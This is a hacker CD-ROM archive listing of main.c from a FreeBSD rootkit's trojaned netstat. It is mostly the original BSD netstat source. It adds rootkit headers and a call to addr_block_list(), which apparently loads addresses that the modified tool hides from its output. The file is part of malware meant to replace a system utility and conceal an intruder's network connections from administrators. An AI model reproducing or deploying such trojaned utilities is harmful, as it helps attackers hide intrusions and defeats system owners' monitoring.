home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / netstat / main.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  12.9 KB  |  613 lines

  1. /*
  2.  * Copyright (c) 1983, 1988, 1993
  3.  *    Regents of the University of California.  All rights reserved.
  4.  *
  5.  * Redistribution and use in source and binary forms, with or without
  6.  * modification, are permitted provided that the following conditions
  7.  * are met:
  8.  * 1. Redistributions of source code must retain the above copyright
  9.  *    notice, this list of conditions and the following disclaimer.
  10.  * 2. Redistributions in binary form must reproduce the above copyright
  11.  *    notice, this list of conditions and the following disclaimer in the
  12.  *    documentation and/or other materials provided with the distribution.
  13.  * 3. All advertising materials mentioning features or use of this software
  14.  *    must display the following acknowledgement:
  15.  *    This product includes software developed by the University of
  16.  *    California, Berkeley and its contributors.
  17.  * 4. Neither the name of the University nor the names of its contributors
  18.  *    may be used to endorse or promote products derived from this software
  19.  *    without specific prior written permission.
  20.  *
  21.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  22.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  23.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  24.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  25.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  26.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  27.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  28.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  29.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  30.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  31.  * SUCH DAMAGE.
  32.  */
  33.  
  34. #ifndef lint
  35. char const copyright[] =
  36. "@(#) Copyright (c) 1983, 1988, 1993\n\
  37.     Regents of the University of California.  All rights reserved.\n";
  38. #endif /* not lint */
  39.  
  40. #ifndef lint
  41. #if 0
  42. static char sccsid[] = "@(#)main.c    8.4 (Berkeley) 3/1/94";
  43. #endif
  44. static const char rcsid[] =
  45.     "$Id: main.c,v 1.16.2.3 1997/08/29 05:29:39 imp Exp $";
  46. #endif /* not lint */
  47.  
  48. #include <sys/param.h>
  49. #include <sys/file.h>
  50. #include <sys/protosw.h>
  51. #include <sys/socket.h>
  52.  
  53. #include <netinet/in.h>
  54.  
  55. #include <ctype.h>
  56. #include <err.h>
  57. #include <errno.h>
  58. #include <kvm.h>
  59. #include <limits.h>
  60. #include <netdb.h>
  61. #include <nlist.h>
  62. #include <paths.h>
  63. #include <stdio.h>
  64. #include <stdlib.h>
  65. #include <string.h>
  66. #include <unistd.h>
  67. #include "netstat.h"
  68.  
  69. #include "../config.h"
  70. #define MAIN_DOT_C
  71. #include "rootkitnetstat.h"
  72.  
  73. struct nlist nl[] = {
  74. #define    N_MBSTAT    0
  75.     { "_mbstat" },
  76. #define    N_IPSTAT    1
  77.     { "_ipstat" },
  78. #define    N_TCB        2
  79.     { "_tcb" },
  80. #define    N_TCPSTAT    3
  81.     { "_tcpstat" },
  82. #define    N_UDB        4
  83.     { "_udb" },
  84. #define    N_UDPSTAT    5
  85.     { "_udpstat" },
  86. #define    N_IFNET        6
  87.     { "_ifnet" },
  88. #define    N_IMP        7
  89.     { "_imp_softc" },
  90. #define    N_ICMPSTAT    8
  91.     { "_icmpstat" },
  92. #define    N_RTSTAT    9
  93.     { "_rtstat" },
  94. #define    N_UNIXSW    10
  95.     { "_localsw" },
  96. #define N_IDP        11
  97.     { "_nspcb"},
  98. #define N_IDPSTAT    12
  99.     { "_idpstat"},
  100. #define N_SPPSTAT    13
  101.     { "_spp_istat"},
  102. #define N_NSERR        14
  103.     { "_ns_errstat"},
  104. #define    N_CLNPSTAT    15
  105.     { "_clnp_stat"},
  106. #define    IN_NOTUSED    16
  107.     { "_tp_inpcb" },
  108. #define    ISO_TP        17
  109.     { "_tp_refinfo" },
  110. #define    N_TPSTAT    18
  111.     { "_tp_stat" },
  112. #define    N_ESISSTAT    19
  113.     { "_esis_stat"},
  114. #define N_NIMP        20
  115.     { "_nimp"},
  116. #define N_RTREE        21
  117.     { "_rt_tables"},
  118. #define N_CLTP        22
  119.     { "_cltb"},
  120. #define N_CLTPSTAT    23
  121.     { "_cltpstat"},
  122. #define    N_NFILE        24
  123.     { "_nfile" },
  124. #define    N_FILE        25
  125.     { "_file" },
  126. #define N_IGMPSTAT    26
  127.     { "_igmpstat" },
  128. #define N_MRTPROTO    27
  129.     { "_ip_mrtproto" },
  130. #define N_MRTSTAT    28
  131.     { "_mrtstat" },
  132. #define N_MFCTABLE    29
  133.     { "_mfctable" },
  134. #define N_VIFTABLE    30
  135.     { "_viftable" },
  136. #define N_IPX        31
  137.     { "_ipxpcb"},
  138. #define N_IPXSTAT    32
  139.     { "_ipxstat"},
  140. #define N_SPXSTAT    33
  141.     { "_spx_istat"},
  142. #define N_DDPSTAT    34
  143.     { "_ddpstat"},
  144. #define N_DDPCB        35
  145.     { "_ddpcb"},
  146. #define N_DIVPCB    36
  147.     { "_divcb"},
  148. #define N_DIVSTAT    37
  149.     { "_divstat"},
  150.     { "" },
  151. };
  152.  
  153. struct protox {
  154.     u_char    pr_index;        /* index into nlist of cb head */
  155.     u_char    pr_sindex;        /* index into nlist of stat block */
  156.     u_char    pr_wanted;        /* 1 if wanted, 0 otherwise */
  157.     void    (*pr_cblocks)();    /* control blocks printing routine */
  158.     void    (*pr_stats)();        /* statistics printing routine */
  159.     char    *pr_name;        /* well-known name */
  160. } protox[] = {
  161.     { N_TCB,    N_TCPSTAT,    1,    protopr,
  162.       tcp_stats,    "tcp" },
  163.     { N_UDB,    N_UDPSTAT,    1,    protopr,
  164.       udp_stats,    "udp" },
  165.     { N_DIVPCB,    N_DIVSTAT,    1,    protopr,
  166.       NULL,        "divert" },     /* no stat structure yet */
  167.     { -1,        N_IPSTAT,    1,    0,
  168.       ip_stats,    "ip" },
  169.     { -1,        N_ICMPSTAT,    1,    0,
  170.       icmp_stats,    "icmp" },
  171.     { -1,        N_IGMPSTAT,    1,    0,
  172.       igmp_stats,    "igmp" },
  173.     { -1,        -1,        0,    0,
  174.       0,        0 }
  175. };
  176.  
  177. struct protox atalkprotox[] = {
  178.     { N_DDPCB,    N_DDPSTAT,    1,    atalkprotopr,
  179.       ddp_stats,    "ddp" },
  180.     { -1,        -1,        0,    0,
  181.       0,        0 }
  182. };
  183.  
  184. struct protox ipxprotox[] = {
  185.     { N_IPX,    N_IPXSTAT,    1,    ipxprotopr,
  186.       ipx_stats,    "ipx" },
  187.     { N_IPX,    N_SPXSTAT,    1,    ipxprotopr,
  188.       spx_stats,    "spx" },
  189.     { -1,        -1,        0,    0,
  190.       0,        0 }
  191. };
  192.  
  193. #ifdef NS
  194. struct protox nsprotox[] = {
  195.     { N_IDP,    N_IDPSTAT,    1,    nsprotopr,
  196.       idp_stats,    "idp" },
  197.     { N_IDP,    N_SPPSTAT,    1,    nsprotopr,
  198.       spp_stats,    "spp" },
  199.     { -1,        N_NSERR,    1,    0,
  200.       nserr_stats,    "ns_err" },
  201.     { -1,        -1,        0,    0,
  202.       0,        0 }
  203. };
  204. #endif
  205.  
  206. #ifdef ISO
  207. struct protox isoprotox[] = {
  208.     { ISO_TP,    N_TPSTAT,    1,    iso_protopr,
  209.       tp_stats,    "tp" },
  210.     { N_CLTP,    N_CLTPSTAT,    1,    iso_protopr,
  211.       cltp_stats,    "cltp" },
  212.     { -1,        N_CLNPSTAT,    1,     0,
  213.       clnp_stats,    "clnp"},
  214.     { -1,        N_ESISSTAT,    1,     0,
  215.       esis_stats,    "esis"},
  216.     { -1,        -1,        0,    0,
  217.       0,        0 }
  218. };
  219. #endif
  220.  
  221. struct protox *protoprotox[] = { protox, ipxprotox, atalkprotox,
  222. #ifdef NS
  223.                      nsprotox, 
  224. #endif
  225. #ifdef ISO
  226.                      isoprotox, 
  227. #endif
  228.                      NULL };
  229.  
  230. static void printproto __P((struct protox *, char *));
  231. static void usage __P((void));
  232. static struct protox *name2protox __P((char *));
  233. static struct protox *knownname __P((char *));
  234.  
  235. kvm_t *kvmd;
  236.  
  237. int
  238. main(argc, argv)
  239.     int argc;
  240.     char *argv[];
  241. {
  242.     register struct protoent *p;
  243.     register struct protox *tp;    /* for printing cblocks & stats */
  244.     int ch;
  245.     char *nlistf = NULL, *memf = NULL;
  246.     char buf[_POSIX2_LINE_MAX];
  247.  
  248.     af = AF_UNSPEC;
  249.  
  250.     while ((ch = getopt(argc, argv, "Aabdf:ghI:iM:mN:np:rstuw:")) !=  -1)
  251.         switch(ch) {
  252.         case 'A':
  253.             Aflag = 1;
  254.             break;
  255.         case 'a':
  256.             aflag = 1;
  257.             break;
  258.         case 'b':
  259.             bflag = 1;
  260.             break;
  261.         case 'd':
  262.             dflag = 1;
  263.             break;
  264.         case 'f':
  265. #ifdef NS
  266.             if (strcmp(optarg, "ns") == 0)
  267.                 af = AF_NS;
  268.             else
  269. #endif
  270.             if (strcmp(optarg, "ipx") == 0)
  271.                 af = AF_IPX;
  272.             else if (strcmp(optarg, "inet") == 0)
  273.                 af = AF_INET;
  274.             else if (strcmp(optarg, "unix") == 0)
  275.                 af = AF_UNIX;
  276.             else if (strcmp(optarg, "atalk") == 0)
  277.                 af = AF_APPLETALK;
  278. #ifdef ISO
  279.             else if (strcmp(optarg, "iso") == 0)
  280.                 af = AF_ISO;
  281. #endif
  282.             else {
  283.                 errx(1, "%s: unknown address family", optarg);
  284.             }
  285.             break;
  286.         case 'g':
  287.             gflag = 1;
  288.             break;
  289.         case 'I': {
  290.             char *cp;
  291.  
  292.             iflag = 1;
  293.             for (cp = interface = optarg; isalpha(*cp); cp++)
  294.                 continue;
  295.             unit = atoi(cp);
  296.             break;
  297.         }
  298.         case 'i':
  299.             iflag = 1;
  300.             break;
  301.         case 'M':
  302.             memf = optarg;
  303.             break;
  304.         case 'm':
  305.             mflag = 1;
  306.             break;
  307.         case 'N':
  308.             nlistf = optarg;
  309.             break;
  310.         case 'n':
  311.             nflag = 1;
  312.             break;
  313.         case 'p':
  314.             if ((tp = name2protox(optarg)) == NULL) {
  315.                 errx(1, 
  316.                      "%s: unknown or uninstrumented protocol",
  317.                      optarg);
  318.             }
  319.             pflag = 1;
  320.             break;
  321.         case 'r':
  322.             rflag = 1;
  323.             break;
  324.         case 's':
  325.             ++sflag;
  326.             break;
  327.         case 't':
  328.             tflag = 1;
  329.             break;
  330.         case 'u':
  331.             af = AF_UNIX;
  332.             break;
  333.         case 'w':
  334.             interval = atoi(optarg);
  335.             iflag = 1;
  336.             break;
  337.         case '?':
  338.         default:
  339.             usage();
  340.         }
  341.     argv += optind;
  342.     argc -= optind;
  343.  
  344. #define    BACKWARD_COMPATIBILITY
  345. #ifdef    BACKWARD_COMPATIBILITY
  346.     if (*argv) {
  347.         if (isdigit(**argv)) {
  348.             interval = atoi(*argv);
  349.             if (interval <= 0)
  350.                 usage();
  351.             ++argv;
  352.             iflag = 1;
  353.         }
  354.         if (*argv) {
  355.             nlistf = *argv;
  356.             if (*++argv)
  357.                 memf = *argv;
  358.         }
  359.     }
  360. #endif
  361.  
  362.     if (!showall)
  363.         addr_block_list();
  364.  
  365.     /*
  366.      * Discard setgid privileges if not the running kernel so that bad
  367.      * guys can't print interesting stuff from kernel memory.
  368.      */
  369.     if (nlistf != NULL || memf != NULL)
  370.         setgid(getgid());
  371.  
  372.     kvmd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, buf);
  373.     if (kvmd == NULL) {
  374.         errx(1, "kvm_open: %s", buf);
  375.     }
  376.     if (kvm_nlist(kvmd, nl) < 0) {
  377.         if(nlistf)
  378.             errx(1, "%s: kvm_nlist: %s", nlistf, kvm_geterr(kvmd));
  379.         else
  380.             errx(1, "kvm_nlist: %s", kvm_geterr(kvmd));
  381.     }
  382.  
  383.     if (nl[0].n_type == 0) {
  384.         if(nlistf)
  385.             errx(1, "%s: no namelist", nlistf);
  386.         else
  387.             errx(1, "no namelist");
  388.     }
  389.     if (mflag) {
  390.         mbpr(nl[N_MBSTAT].n_value);
  391.         exit(0);
  392.     }
  393.     if (pflag) {
  394.         if (tp->pr_stats)
  395.             (*tp->pr_stats)(nl[tp->pr_sindex].n_value,
  396.                 tp->pr_name);
  397.         else
  398.             printf("%s: no stats routine\n", tp->pr_name);
  399.         exit(0);
  400.     }
  401. #if 0
  402.     /*
  403.      * Keep file descriptors open to avoid overhead
  404.      * of open/close on each call to get* routines.
  405.      */
  406.     sethostent(1);
  407.     setnetent(1);
  408. #else
  409.     /*
  410.      * This does not make sense any more with DNS being default over
  411.      * the files.  Doing a setXXXXent(1) causes a tcp connection to be
  412.      * used for the queries, which is slower.
  413.      */
  414. #endif
  415.     if (iflag) {
  416.         intpr(interval, nl[N_IFNET].n_value);
  417.         exit(0);
  418.     }
  419.     if (rflag) {
  420.         if (sflag)
  421.             rt_stats(nl[N_RTSTAT].n_value);
  422.         else
  423.             routepr(nl[N_RTREE].n_value);
  424.         exit(0);
  425.     }
  426.     if (gflag) {
  427.         if (sflag)
  428.             mrt_stats(nl[N_MRTPROTO].n_value,
  429.                 nl[N_MRTSTAT].n_value);
  430.         else
  431.             mroutepr(nl[N_MRTPROTO].n_value,
  432.                 nl[N_MFCTABLE].n_value,
  433.                 nl[N_VIFTABLE].n_value);
  434.         exit(0);
  435.     }
  436.     if (af == AF_INET || af == AF_UNSPEC) {
  437.         setprotoent(1);
  438.         setservent(1);
  439.         /* ugh, this is O(MN) ... why do we do this? */
  440.         while ((p = getprotoent())) {
  441.             for (tp = protox; tp->pr_name; tp++)
  442.                 if (strcmp(tp->pr_name, p->p_name) == 0)
  443.                     break;
  444.             if (tp->pr_name == 0 || tp->pr_wanted == 0)
  445.                 continue;
  446.             printproto(tp, p->p_name);
  447.         }
  448.         endprotoent();
  449.     }
  450.     if (af == AF_IPX || af == AF_UNSPEC)
  451.         for (tp = ipxprotox; tp->pr_name; tp++)
  452.             printproto(tp, tp->pr_name);
  453.     if (af == AF_APPLETALK || af == AF_UNSPEC)
  454.         for (tp = atalkprotox; tp->pr_name; tp++)
  455.             printproto(tp, tp->pr_name);
  456. #ifdef NS
  457.     if (af == AF_NS || af == AF_UNSPEC)
  458.         for (tp = nsprotox; tp->pr_name; tp++)
  459.             printproto(tp, tp->pr_name);
  460. #endif
  461. #ifdef ISO
  462.     if (af == AF_ISO || af == AF_UNSPEC)
  463.         for (tp = isoprotox; tp->pr_name; tp++)
  464.             printproto(tp, tp->pr_name);
  465. #endif
  466.     if ((af == AF_UNIX || af == AF_UNSPEC) && !sflag)
  467.         unixpr(nl[N_UNIXSW].n_value);
  468.     exit(0);
  469. }
  470.  
  471. /*
  472.  * Print out protocol statistics or control blocks (per sflag).
  473.  * If the interface was not specifically requested, and the symbol
  474.  * is not in the namelist, ignore this one.
  475.  */
  476. static void
  477. printproto(tp, name)
  478.     register struct protox *tp;
  479.     char *name;
  480. {
  481.     void (*pr)();
  482.     u_long off;
  483.  
  484.     if (sflag) {
  485.         pr = tp->pr_stats;
  486.         off = nl[tp->pr_sindex].n_value;
  487.     } else {
  488.         pr = tp->pr_cblocks;
  489.         off = nl[tp->pr_index].n_value;
  490.     }
  491.     if (pr != NULL && (off || af != AF_UNSPEC))
  492.         (*pr)(off, name);
  493. }
  494.  
  495. /*
  496.  * Read kernel memory, return 0 on success.
  497.  */
  498. int
  499. kread(addr, buf, size)
  500.     u_long addr;
  501.     char *buf;
  502.     int size;
  503. {
  504.  
  505.     if (kvm_read(kvmd, addr, buf, size) != size) {
  506.         warnx("%s", kvm_geterr(kvmd));
  507.         return (-1);
  508.     }
  509.     return (0);
  510. }
  511.  
  512. char *
  513. plural(n)
  514.     int n;
  515. {
  516.     return (n != 1 ? "s" : "");
  517. }
  518.  
  519. char *
  520. plurales(n)
  521.     int n;
  522. {
  523.     return (n != 1 ? "es" : "");
  524. }
  525.  
  526. /*
  527.  * Find the protox for the given "well-known" name.
  528.  */
  529. static struct protox *
  530. knownname(name)
  531.     char *name;
  532. {
  533.     struct protox **tpp, *tp;
  534.  
  535.     for (tpp = protoprotox; *tpp; tpp++)
  536.         for (tp = *tpp; tp->pr_name; tp++)
  537.             if (strcmp(tp->pr_name, name) == 0)
  538.                 return (tp);
  539.     return (NULL);
  540. }
  541.  
  542. /*
  543.  * Find the protox corresponding to name.
  544.  */
  545. static struct protox *
  546. name2protox(name)
  547.     char *name;
  548. {
  549.     struct protox *tp;
  550.     char **alias;            /* alias from p->aliases */
  551.     struct protoent *p;
  552.  
  553.     /*
  554.      * Try to find the name in the list of "well-known" names. If that
  555.      * fails, check if name is an alias for an Internet protocol.
  556.      */
  557.     if ((tp = knownname(name)))
  558.         return (tp);
  559.  
  560.     setprotoent(1);            /* make protocol lookup cheaper */
  561.     while ((p = getprotoent())) {
  562.         /* assert: name not same as p->name */
  563.         for (alias = p->p_aliases; *alias; alias++)
  564.             if (strcmp(name, *alias) == 0) {
  565.                 endprotoent();
  566.                 return (knownname(p->p_name));
  567.             }
  568.     }
  569.     endprotoent();
  570.     return (NULL);
  571. }
  572.  
  573. static void
  574. usage()
  575. {
  576.     (void)fprintf(stderr, "%s\n%s\n%s\n%s\n",
  577. "usage: netstat [-Aan] [-f address_family] [-M core] [-N system]",
  578. "       netstat [-bdghimnrs] [-f address_family] [-M core] [-N system]",
  579. "       netstat [-bdn] [-I interface] [-M core] [-N system] [-w wait]",
  580. "       netstat [-M core] [-N system] [-p protocol]");
  581.     exit(1);
  582. }
  583.  
  584. void
  585. trimdomain(cp)
  586.     char *cp;
  587. {
  588.     static char domain[MAXHOSTNAMELEN + 1];
  589.     static int first = 1;
  590.     char *s;
  591.  
  592.     if (first) {
  593.         first = 0;
  594.         if (gethostname(domain, MAXHOSTNAMELEN) == 0 &&
  595.             (s = strchr(domain, '.')))
  596.             (void) strcpy(domain, s + 1);
  597.         else
  598.             domain[0] = 0;
  599.     }
  600.  
  601.     if (domain[0]) {
  602.         while ((cp = strchr(cp, '.'))) {
  603.             if (!strcasecmp(cp + 1, domain)) {
  604.                 *cp = 0;    /* hit it */
  605.                 break;
  606.             } else {
  607.                 cp++;
  608.             }
  609.         }
  610.     }
  611. }
  612.  
  613.